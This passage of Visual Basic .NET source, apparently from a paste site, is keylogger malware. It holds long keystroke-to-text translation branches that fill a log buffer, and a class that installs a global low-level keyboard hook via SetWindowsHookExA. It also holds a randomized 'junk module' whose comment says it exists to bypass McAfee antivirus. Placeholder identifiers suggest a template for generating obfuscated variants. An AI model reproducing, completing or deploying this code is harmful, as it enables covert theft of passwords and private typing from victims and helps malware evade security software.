  643. ElseIf [25] = Keys.Divide Then
  644. [15] += "/"
  645. ElseIf [25] = Keys.Decimal Then
  646. [15] += "."
  647. ElseIf [25] = Keys.Subtract Then
  648. [15] += "-"
  649. ElseIf [25] = Keys.Add Then
  650. [15] += "+"
  651. ElseIf [25] = Keys.Multiply Then
  652. [15] += "*"
  653. ElseIf [25] = Keys.ControlKey Then
  654. [15] += "[CTRL]"
  655. ElseIf [25] = Keys.Alt Then
  656. [15] += "[ALT]"
  657. ElseIf [25] = Keys.PageUp Then
  658. [15] += "[Page Up]"
  659. ElseIf [25] = Keys.PageDown Then
  660. [15] += "[Page Down]"
  661. ElseIf [25] = Keys.Home Then
  662. [15] += "[Home]"
  663. ElseIf [25] = Keys.Insert Then
  664. [15] += "[Insert]"
  665. ElseIf [25] = Keys.End Then
  666. [15] += "[End]"
  667. ElseIf [25] = Keys.Escape Then
  668. [15] += "[Esc]"
  669. ElseIf [25] = Keys.PrintScreen Then
  670. [15] += "[Prt Screen]"
  671. End If
  672. ElseIf My.Computer.Keyboard.ShiftKeyDown = True And My.Computer.Keyboard.CapsLock = True Then
  673. If [25] = Keys.D1 Then
  674. [15] += "!"
  675. ElseIf [25] = Keys.D2 Then
  676. [15] += "@"
  677. ElseIf [25] = Keys.D3 Then
  678. [15] += "#"
  679. ElseIf [25] = Keys.D4 Then
  680. [15] += "$"
  681. ElseIf [25] = Keys.D5 Then
  682. [15] += "%"
  683. ElseIf [25] = Keys.D6 Then
  684. [15] += "^"
  685. ElseIf [25] = Keys.D7 Then
  686. [15] += "&"
  687. ElseIf [25] = Keys.D8 Then
  688. [15] += "*"
  689. ElseIf [25] = Keys.D9 Then
  690. [15] += "("
  691. ElseIf [25] = Keys.D0 Then
  692. [15] += ")"
  693. ElseIf [25] = Keys.A Then
  694. [15] += "A"
  695. ElseIf [25] = Keys.B Then
  696. [15] += "B"
  697. ElseIf [25] = Keys.C Then
  698. [15] += "C"
  699. ElseIf [25] = Keys.D Then
  700. [15] += "D"
  701. ElseIf [25] = Keys.E Then
  702. [15] += "E"
  703. ElseIf [25] = Keys.F Then
  704. [15] += "F"
  705. ElseIf [25] = Keys.G Then
  706. [15] += "G"
  707. ElseIf [25] = Keys.H Then
  708. [15] += "H"
  709. ElseIf [25] = Keys.I Then
  710. [15] += "I"
  711. ElseIf [25] = Keys.J Then
  712. [15] += "J"
  713. ElseIf [25] = Keys.K Then
  714. [15] += "K"
  715. ElseIf [25] = Keys.L Then
  716. [15] += "L"
  717. ElseIf [25] = Keys.M Then
  718. [15] += "M"
  719. ElseIf [25] = Keys.N Then
  720. [15] += "N"
  721. ElseIf [25] = Keys.O Then
  722. [15] += "O"
  723. ElseIf [25] = Keys.P Then
  724. [15] += "P"
  725. ElseIf [25] = Keys.Q Then
  726. [15] += "Q"
  727. ElseIf [25] = Keys.R Then
  728. [15] += "R"
  729. ElseIf [25] = Keys.S Then
  730. [15] += "S"
  731. ElseIf [25] = Keys.T Then
  732. [15] += "T"
  733. ElseIf [25] = Keys.U Then
  734. [15] += "U"
  735. ElseIf [25] = Keys.V Then
  736. [15] += "V"
  737. ElseIf [25] = Keys.W Then
  738. [15] += "W"
  739. ElseIf [25] = Keys.X Then
  740. [15] += "X"
  741. ElseIf [25] = Keys.Y Then
  742. [15] += "Y"
  743. ElseIf [25] = Keys.Z Then
  744. [15] += "Z"
  745. ElseIf [25] = Keys.Oemcomma Then
  746. [15] += "<"
  747. ElseIf [25] = Keys.OemMinus Then
  748. [15] += "_"
  749. ElseIf [25] = Keys.OemOpenBrackets Then
  750. [15] += "{"
  751. ElseIf [25] = Keys.OemCloseBrackets Then
  752. [15] += "}"
  753. ElseIf [25] = Keys.OemQuestion Then
  754. [15] += "?"
  755. ElseIf [25] = Keys.OemPipe Then
  756. [15] += "|"
  757. ElseIf [25] = Keys.Oem1 Then
  758. [15] += ":"
  759. ElseIf [25] = Keys.OemPeriod Then
  760. [15] += ">"
  761. ElseIf [25] = Keys.Oemtilde Then
  762. [15] += "~"
  763. ElseIf [25] = Keys.OemQuotes Then
  764. '[15] += *quote*
  765. ElseIf [25] = Keys.Space Then
  766. [15] += " "
  767. ElseIf [25] = Keys.Enter Then
  768. [15] += vbNewLine
  769. ElseIf [25] = Keys.F1 Then
  770. [15] += "[F1]"
  771. ElseIf [25] = Keys.F2 Then
  772. [15] += "[F2]"
  773. ElseIf [25] = Keys.F3 Then
  774. [15] += "[F3]"
  775. ElseIf [25] = Keys.F4 Then
  776. [15] += "[F4]"
  777. ElseIf [25] = Keys.F5 Then
  778. [15] += "[F5]"
  779. ElseIf [25] = Keys.F6 Then
  780. [15] += "[F6]"
  781. ElseIf [25] = Keys.F7 Then
  782. [15] += "[F7]"
  783. ElseIf [25] = Keys.F8 Then
  784. [15] += "[F8]"
  785. ElseIf [25] = Keys.F9 Then
  786. [15] += "[F9]"
  787. ElseIf [25] = Keys.F10 Then
  788. [15] += "[F10]"
  789. ElseIf [25] = Keys.F11 Then
  790. [15] += "[F11]"
  791. ElseIf [25] = Keys.F12 Then
  792. [15] += "[F12]"
  793. ElseIf [25] = Keys.Delete Then
  794. [15] += "[DEL]"
  795. ElseIf [25] = Keys.Back Then
  796. [15] += "[DEL]"
  797. ElseIf [25] = Keys.Down Then
  798. [15] += ""
  799. ElseIf [25] = Keys.Up Then
  800. [15] += ""
  801. ElseIf [25] = Keys.Left Then
  802. [15] += ""
  803. ElseIf [25] = Keys.Right Then
  804. [15] += ""
  805. ElseIf [25] = Keys.Tab Then
  806. [15] += "[TAB]"
  807. ElseIf [25] = Keys.End Then
  808. [15] += "[END]"
  809. ElseIf [25] = Keys.Escape Then
  810. [15] += "[ESC]"
  811. ElseIf [25] = Keys.Divide Then
  812. [15] += "/"
  813. ElseIf [25] = Keys.Decimal Then
  814. [15] += "."
  815. ElseIf [25] = Keys.Subtract Then
  816. [15] += "-"
  817. ElseIf [25] = Keys.Add Then
  818. [15] += "+"
  819. ElseIf [25] = Keys.Multiply Then
  820. [15] += "*"
  821. ElseIf [25] = Keys.ControlKey Then
  822. [15] += "[CTRL]"
  823. ElseIf [25] = Keys.Alt Then
  824. [15] += "[ALT]"
  825. ElseIf [25] = Keys.PageUp Then
  826. [15] += "[Page Up]"
  827. ElseIf [25] = Keys.PageDown Then
  828. [15] += "[Page Down]"
  829. ElseIf [25] = Keys.Home Then
  830. [15] += "[Home]"
  831. ElseIf [25] = Keys.Insert Then
  832. [15] += "[Insert]"
  833. ElseIf [25] = Keys.End Then
  834. [15] += "[End]"
  835. ElseIf [25] = Keys.Escape Then
  836. [15] += "[Esc]"
  837. ElseIf [25] = Keys.PrintScreen Then
  838. [15] += "[Prt Screen]"
  839. End If
  840. ElseIf My.Computer.Keyboard.ShiftKeyDown = False And My.Computer.Keyboard.CapsLock = True Then
  841. If [25] = Keys.D1 Then
  842. [15] += "1"
  843. ElseIf [25] = Keys.D2 Then
  844. [15] += "2"
  845. ElseIf [25] = Keys.D3 Then
  846. [15] += "3"
  847. ElseIf [25] = Keys.D4 Then
  848. [15] += "4"
  849. ElseIf [25] = Keys.D5 Then
  850. [15] += "5"
  851. ElseIf [25] = Keys.D6 Then
  852. [15] += "6"
  853. ElseIf [25] = Keys.D7 Then
  854. [15] += "7"
  855. ElseIf [25] = Keys.D8 Then
  856. [15] += "8"
  857. ElseIf [25] = Keys.D9 Then
  858. [15] += "9"
  859. ElseIf [25] = Keys.D0 Then
  860. [15] += "0"
  861. ElseIf [25] = Keys.A Then
  862. [15] += "a"
  863. ElseIf [25] = Keys.B Then
  864. [15] += "b"
  865. ElseIf [25] = Keys.C Then
  866. [15] += "c"
  867. ElseIf [25] = Keys.D Then
  868. [15] += "d"
  869. ElseIf [25] = Keys.E Then
  870. [15] += "e"
  871. ElseIf [25] = Keys.F Then
  872. [15] += "f"
  873. ElseIf [25] = Keys.G Then
  874. [15] += "g"
  875. ElseIf [25] = Keys.H Then
  876. [15] += "h"
  877. ElseIf [25] = Keys.I Then
  878. [15] += "i"
  879. ElseIf [25] = Keys.J Then
  880. [15] += "j"
  881. ElseIf [25] = Keys.K Then
  882. [15] += "k"
  883. ElseIf [25] = Keys.L Then
  884. [15] += "l"
  885. ElseIf [25] = Keys.M Then
  886. [15] += "m"
  887. ElseIf [25] = Keys.N Then
  888. [15] += "n"
  889. ElseIf [25] = Keys.O Then
  890. [15] += "o"
  891. ElseIf [25] = Keys.P Then
  892. [15] += "p"
  893. ElseIf [25] = Keys.Q Then
  894. [15] += "q"
  895. ElseIf [25] = Keys.R Then
  896. [15] += "r"
  897. ElseIf [25] = Keys.S Then
  898. [15] += "s"
  899. ElseIf [25] = Keys.T Then
  900. [15] += "t"
  901. ElseIf [25] = Keys.U Then
  902. [15] += "u"
  903. ElseIf [25] = Keys.V Then
  904. [15] += "v"
  905. ElseIf [25] = Keys.W Then
  906. [15] += "w"
  907. ElseIf [25] = Keys.X Then
  908. [15] += "x"
  909. ElseIf [25] = Keys.Y Then
  910. [15] += "y"
  911. ElseIf [25] = Keys.Z Then
  912. [15] += "[111]"
  913. ElseIf [25] = Keys.Oemcomma Then
  914. [15] += ","
  915. ElseIf [25] = Keys.OemMinus Then
  916. [15] += "-"
  917. ElseIf [25] = Keys.OemQuotes Then
  918. [15] += "'"
  919. ElseIf [25] = Keys.OemOpenBrackets Then
  920. [15] += "["
  921. ElseIf [25] = Keys.OemCloseBrackets Then
  922. [15] += "]"
  923. ElseIf [25] = Keys.OemQuestion Then
  924. [15] += "/"
  925. ElseIf [25] = Keys.OemPipe Then
  926. [15] += "\"
  927. ElseIf [25] = Keys.Oem1 Then
  928. [15] += ";"
  929. ElseIf [25] = Keys.OemPeriod Then
  930. [15] += "."
  931. ElseIf [25] = Keys.Oemtilde Then
  932. [15] += "`"
  933. ElseIf [25] = Keys.Space Then
  934. [15] += " "
  935. ElseIf [25] = Keys.Enter Then
  936. [15] += vbNewLine
  937. ElseIf [25] = Keys.F1 Then
  938. [15] += "[F1]"
  939. ElseIf [25] = Keys.F2 Then
  940. [15] += "[F2]"
  941. ElseIf [25] = Keys.F3 Then
  942. [15] += "[F3]"
  943. ElseIf [25] = Keys.F4 Then
  944. [15] += "[F4]"
  945. ElseIf [25] = Keys.F5 Then
  946. [15] += "[F5]"
  947. ElseIf [25] = Keys.F6 Then
  948. [15] += "[F6]"
  949. ElseIf [25] = Keys.F7 Then
  950. [15] += "[F7]"
  951. ElseIf [25] = Keys.F8 Then
  952. [15] += "[F8]"
  953. ElseIf [25] = Keys.F9 Then
  954. [15] += "[F9]"
  955. ElseIf [25] = Keys.F10 Then
  956. [15] += "[F10]"
  957. ElseIf [25] = Keys.F11 Then
  958. [15] += "[F11]"
  959. ElseIf [25] = Keys.F12 Then
  960. [15] += "[F12]"
  961. ElseIf [25] = Keys.Delete Then
  962. If Not [15].EndsWith(vbNewLine) Then
  963. If Not [15].EndsWith("|") Then
  964. If Not [15].EndsWith("]") Then
  965. [15] = [15].Substring(0, [15].Length - 1)
  966. End If
  967. End If
  968. End If
  969. ElseIf [25] = Keys.Back Then
  970. If Not [15].EndsWith(vbNewLine) Then
  971. If Not [15].EndsWith("|") Then
  972. If Not [15].EndsWith("]") Then
  973. [15] = [15].Substring(0, [15].Length - 1)
  974. End If
  975. End If
  976. End If
  977. ElseIf [25] = Keys.Down Then
  978. [15] += ""
  979. ElseIf [25] = Keys.Up Then
  980. [15] += ""
  981. ElseIf [25] = Keys.Left Then
  982. [15] += ""
  983. ElseIf [25] = Keys.Right Then
  984. [15] += ""
  985. ElseIf [25] = Keys.Tab Then
  986. [15] += "[TAB]"
  987. ElseIf [25] = Keys.End Then
  988. [15] += "[END]"
  989. ElseIf [25] = Keys.Escape Then
  990. [15] += "[ESC]"
  991. ElseIf [25] = Keys.Divide Then
  992. [15] += "/"
  993. ElseIf [25] = Keys.Decimal Then
  994. [15] += "."
  995. ElseIf [25] = Keys.Subtract Then
  996. [15] += "-"
  997. ElseIf [25] = Keys.Add Then
  998. [15] += "+"
  999. ElseIf [25] = Keys.Multiply Then
  1000. [15] += "*"
  1001. ElseIf [25] = Keys.ControlKey Then
  1002. [15] += "[CTRL]"
  1003. ElseIf [25] = Keys.Alt Then
  1004. [15] += "[ALT]"
  1005. ElseIf [25] = Keys.PageUp Then
  1006. [15] += "[Page Up]"
  1007. ElseIf [25] = Keys.PageDown Then
  1008. [15] += "[Page Down]"
  1009. ElseIf [25] = Keys.Home Then
  1010. [15] += "[Home]"
  1011. ElseIf [25] = Keys.Insert Then
  1012. [15] += "[Insert]"
  1013. ElseIf [25] = Keys.End Then
  1014. [15] += "[End]"
  1015. ElseIf [25] = Keys.Escape Then
  1016. [15] += "[Esc]"
  1017. ElseIf [25] = Keys.PrintScreen Then
  1018. [15] += "[Prt Screen]"
  1019. End If
  1020. ElseIf My.Computer.Keyboard.ShiftKeyDown = True And My.Computer.Keyboard.CapsLock = False Then
  1021. If [25] = Keys.D1 Then
  1022. [15] += "!"
  1023. ElseIf [25] = Keys.D2 Then
  1024. [15] += "@"
  1025. ElseIf [25] = Keys.D3 Then
  1026. [15] += "#"
  1027. ElseIf [25] = Keys.D4 Then
  1028. [15] += "$"
  1029. ElseIf [25] = Keys.D5 Then
  1030. [15] += "%"
  1031. ElseIf [25] = Keys.D6 Then
  1032. [15] += "^"
  1033. ElseIf [25] = Keys.D7 Then
  1034. [15] += "&"
  1035. ElseIf [25] = Keys.D8 Then
  1036. [15] += "*"
  1037. ElseIf [25] = Keys.D9 Then
  1038. [15] += "("
  1039. ElseIf [25] = Keys.D0 Then
  1040. [15] += ")"
  1041. ElseIf [25] = Keys.A Then
  1042. [15] += "A"
  1043. ElseIf [25] = Keys.B Then
  1044. [15] += "B"
  1045. ElseIf [25] = Keys.C Then
  1046. [15] += "C"
  1047. ElseIf [25] = Keys.D Then
  1048. [15] += "D"
  1049. ElseIf [25] = Keys.E Then
  1050. [15] += "E"
  1051. ElseIf [25] = Keys.F Then
  1052. [15] += "F"
  1053. ElseIf [25] = Keys.G Then
  1054. [15] += "G"
  1055. ElseIf [25] = Keys.H Then
  1056. [15] += "H"
  1057. ElseIf [25] = Keys.I Then
  1058. [15] += "I"
  1059. ElseIf [25] = Keys.J Then
  1060. [15] += "J"
  1061. ElseIf [25] = Keys.K Then
  1062. [15] += "K"
  1063. ElseIf [25] = Keys.L Then
  1064. [15] += "L"
  1065. ElseIf [25] = Keys.M Then
  1066. [15] += "M"
  1067. ElseIf [25] = Keys.N Then
  1068. [15] += "N"
  1069. ElseIf [25] = Keys.O Then
  1070. [15] += "O"
  1071. ElseIf [25] = Keys.P Then
  1072. [15] += "P"
  1073. ElseIf [25] = Keys.Q Then
  1074. [15] += "Q"
  1075. ElseIf [25] = Keys.R Then
  1076. [15] += "R"
  1077. ElseIf [25] = Keys.S Then
  1078. [15] += "S"
  1079. ElseIf [25] = Keys.T Then
  1080. [15] += "T"
  1081. ElseIf [25] = Keys.U Then
  1082. [15] += "U"
  1083. ElseIf [25] = Keys.V Then
  1084. [15] += "V"
  1085. ElseIf [25] = Keys.W Then
  1086. [15] += "W"
  1087. ElseIf [25] = Keys.X Then
  1088. [15] += "X"
  1089. ElseIf [25] = Keys.Y Then
  1090. [15] += "Y"
  1091. ElseIf [25] = Keys.Z Then
  1092. [15] += "Z"
  1093. ElseIf [25] = Keys.Oemcomma Then
  1094. [15] += "<"
  1095. ElseIf [25] = Keys.OemMinus Then
  1096. [15] += "_"
  1097. ElseIf [25] = Keys.OemOpenBrackets Then
  1098. [15] += "{"
  1099. ElseIf [25] = Keys.OemCloseBrackets Then
  1100. [15] += "}"
  1101. ElseIf [25] = Keys.OemQuestion Then
  1102. [15] += "?"
  1103. ElseIf [25] = Keys.OemPipe Then
  1104. [15] += "|"
  1105. ElseIf [25] = Keys.Oem1 Then
  1106. [15] += ":"
  1107. ElseIf [25] = Keys.OemPeriod Then
  1108. [15] += ">"
  1109. ElseIf [25] = Keys.Oemtilde Then
  1110. [15] += "~"
  1111. ElseIf [25] = Keys.Space Then
  1112. [15] += " "
  1113. ElseIf [25] = Keys.Enter Then
  1114. [15] += vbNewLine
  1115. ElseIf [25] = Keys.F1 Then
  1116. [15] += "[F1]"
  1117. ElseIf [25] = Keys.F2 Then
  1118. [15] += "[F2]"
  1119. ElseIf [25] = Keys.F3 Then
  1120. [15] += "[F3]"
  1121. ElseIf [25] = Keys.F4 Then
  1122. [15] += "[F4]"
  1123. ElseIf [25] = Keys.F5 Then
  1124. [15] += "[F5]"
  1125. ElseIf [25] = Keys.F6 Then
  1126. [15] += "[F6]"
  1127. ElseIf [25] = Keys.F7 Then
  1128. [15] += "[F7]"
  1129. ElseIf [25] = Keys.F8 Then
  1130. [15] += "[F8]"
  1131. ElseIf [25] = Keys.F9 Then
  1132. [15] += "[F9]"
  1133. ElseIf [25] = Keys.F10 Then
  1134. [15] += "[F10]"
  1135. ElseIf [25] = Keys.F11 Then
  1136. [15] += "[F11]"
  1137. ElseIf [25] = Keys.F12 Then
  1138. [15] += "[F12]"
  1139. ElseIf [25] = Keys.Delete Then
  1140. If Not [15].EndsWith(vbNewLine) Then
  1141. If Not [15].EndsWith("|") Then
  1142. If Not [15].EndsWith("]") Then
  1143. [15] = [15].Substring(0, [15].Length - 1)
  1144. End If
  1145. End If
  1146. End If
  1147. ElseIf [25] = Keys.Back Then
  1148. If Not [15].EndsWith(vbNewLine) Then
  1149. If Not [15].EndsWith("|") Then
  1150. If Not [15].EndsWith("]") Then
  1151. [15] = [15].Substring(0, [15].Length - 1)
  1152. End If
  1153. End If
  1154. End If
  1155. ElseIf [25] = Keys.Down Then
  1156. [15] += ""
  1157. ElseIf [25] = Keys.Up Then
  1158. [15] += ""
  1159. ElseIf [25] = Keys.Left Then
  1160. [15] += ""
  1161. ElseIf [25] = Keys.Right Then
  1162. [15] += ""
  1163. ElseIf [25] = Keys.Tab Then
  1164. [15] += "[TAB]"
  1165. ElseIf [25] = Keys.End Then
  1166. [15] += "[END]"
  1167. ElseIf [25] = Keys.Escape Then
  1168. [15] += "[ESC]"
  1169. ElseIf [25] = Keys.Divide Then
  1170. [15] += "/"
  1171. ElseIf [25] = Keys.Decimal Then
  1172. [15] += "."
  1173. ElseIf [25] = Keys.Subtract Then
  1174. [15] += "-"
  1175. ElseIf [25] = Keys.Add Then
  1176. [15] += "+"
  1177. ElseIf [25] = Keys.Multiply Then
  1178. [15] += "*"
  1179. ElseIf [25] = Keys.OemQuotes Then
  1180. '[15] += *quote*
  1181. ElseIf [25] = Keys.ControlKey Then
  1182. [15] += "[CTRL]"
  1183. ElseIf [25] = Keys.Alt Then
  1184. [15] += "[ALT]"
  1185. ElseIf [25] = Keys.PageUp Then
  1186. [15] += "[Page Up]"
  1187. ElseIf [25] = Keys.PageDown Then
  1188. [15] += "[Page Down]"
  1189. ElseIf [25] = Keys.Home Then
  1190. [15] += "[Home]"
  1191. ElseIf [25] = Keys.Insert Then
  1192. [15] += "[Insert]"
  1193. ElseIf [25] = Keys.End Then
  1194. [15] += "[End]"
  1195. ElseIf [25] = Keys.Escape Then
  1196. [15] += "[Esc]"
  1197. ElseIf [25] = Keys.PrintScreen Then
  1198. [15] += "[Prt Screen]"
  1199. End If
  1200. End If
  1201. End Sub
  1202.  
  1203.  
  1204. Friend Class &2& 'This is the randomized keyhook class, nothing much to go in depth here in terms of functionality.
  1205. Private Const &3& As Integer = 0
  1206. Private Const &4& As Integer = 13
  1207. Private Const &5& = &H100
  1208. Private Const &6& = &H101
  1209. Private Const &7& = &H104
  1210. Private Const &8& = &H105
  1211.  
  1212. Friend Structure &9&
  1213. Public &10& As Integer
  1214. Public &11& As Integer
  1215. Public &12& As Integer
  1216. Public &13& As Integer
  1217. Public &14& As Integer
  1218. End Structure
  1219.  
  1220. Private Declare Function [32] Lib "user32" _
  1221. Alias "SetWindowsHookExA" _
  1222. (ByVal &15& As Integer, _
  1223. ByVal &16& As [35], _
  1224. ByVal &17& As Integer, _
  1225. ByVal &18& As Integer) As Integer
  1226.  
  1227. Private Declare Function [33] Lib "user32" Alias "CallNextHookEx" _
  1228. (ByVal &19& As Integer, _
  1229. ByVal &20& As Integer, _
  1230. ByVal &21& As Integer, _
  1231. ByVal &22& As &9&) As Integer
  1232.  
  1233. Private Declare Function [34] Lib "user32" Alias "UnhookWindowsHookEx" _
  1234. (ByVal &19& As Integer) As Integer
  1235.  
  1236.  
  1237. Private Delegate Function [35] _
  1238. (ByVal &20& As Integer, _
  1239. ByVal &21& As Integer, _
  1240. ByRef &22& As &9&) As Integer
  1241.  
  1242.  
  1243. Public Shared Event &24&(ByVal &23& As Keys) 'KeyDown
  1244. Public Shared Event &25&(ByVal &23& As Keys) 'Keyup
  1245.  
  1246. Friend Shared &26& As Integer
  1247.  
  1248. Private Shared &27& As [35]
  1249.  
  1250. Public Sub New()
  1251. &27& = New [35](AddressOf &28&)
  1252. &26& = [32](&4&, &27&, System.Runtime.InteropServices.Marshal.GetHINSTANCE(System.Reflection.Assembly.GetExecutingAssembly.GetModules()(0)).ToInt32, 0)
  1253. End Sub
  1254.  
  1255. Friend Shared Function &28&(ByVal &20& As Integer, ByVal &21& As Integer, ByRef &22& As &9&) As Integer
  1256.  
  1257. If (&20& = &3&) Then
  1258. Select Case &21&
  1259.  
  1260. Case &5&, &7&
  1261.  
  1262. RaiseEvent &24&(CType(&22&.&10&, Keys))
  1263. Case &6&, &8&
  1264.  
  1265. RaiseEvent &25&(CType(&22&.&10&, Keys))
  1266. End Select
  1267. End If
  1268.  
  1269. Return [33](&26&, &20&, &21&, &22&)
  1270. End Function
  1271. Protected Overrides Sub Finalize()
  1272. On Error Resume Next
  1273. [34](&26&)
  1274. MyBase.Finalize()
  1275. End Sub
  1276. End Class
  1277. End Module
  1278.  
  1279. Module ^1^ 'This Module is just a randomized junk module, it bypass McAfee and adds 0KB of server size, so win win :).
  1280. Public Function ^2^()
  1281. Dim ^3^ As Object = 5052656
  1282. While True
  1283. Dim ^4^() As String = {"^5^"}
  1284. Try
  1285. MsgBox("^6^")
  1286. Dim ^7^ As Decimal = 0515
  1287. Catch ^8^ As Exception
  1288. Dim ^9^ As Integer = 5
  1289. End Try
  1290. Do
  1291. Dim ^10^ As Integer = 475711
  1292. Dim ^11^ As UInt64 = 0
  1293. Dim ^12^ As Boolean = True
  1294. Dim ^13^ As Double = 2653
  1295. MsgBox("^14^")
  1296. Loop
  1297. End While
  1298. Dim ^15^ As ULong = 6763304
  1299. Do Until 580267 >= 0
  1300. Loop
  1301. Dim ^16^ As Integer = 462
  1302. If 4 = 820 Then
  1303. MessageBox.Show("^17^")
  1304. Dim ^18^ As Decimal = 8506
  1305. End If
  1306. While True
  1307. Dim ^19^() As String = {"^20^","^21^"}
  1308. Try
  1309. MsgBox("^22^")
  1310. Dim ^23^ As Decimal = 8
  1311. Catch ^24^ As Exception
  1312. Dim ^25^ As Integer = 011388
  1313. End Try
  1314. Do
  1315. Dim ^26^ As Integer = 75620
  1316. Dim ^27^ As UInt64 = 7
  1317. Dim ^28^ As Boolean = True
  1318. Dim ^29^ As Double = 4
  1319. MsgBox("^5^")
  1320. Loop
  1321. End While
  1322. Dim ^30^ As Int64 = 82
  1323. Do Until 4862 >= 4244123
  1324. Loop
  1325. Dim ^31^ As Long = 16
  1326. If 2 <> 6606 Then
  1327. MsgBox("^32^")
  1328. Dim ^33^ As Double = 454
  1329. End If
  1330. While True
  1331. Dim ^34^() As String = {"^35^","^36^"}
  1332. Try
  1333. MsgBox("^37^")
  1334. Dim ^38^ As Decimal = 50
  1335. Catch ^39^ As Exception
  1336. Dim ^40^ As Integer = 153
  1337. End Try
  1338. Do
  1339. Dim ^41^ As Integer = 8
  1340. Dim ^42^ As UInt64 = 6735058
  1341. Dim ^43^ As Boolean = True
  1342. Dim ^44^ As Double = 52
  1343. MsgBox("^45^")
  1344. Loop
  1345. End While
  1346. Dim ^46^ As Int64 = 71884
  1347. Return 530
  1348. End Function
  1349. End Module
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement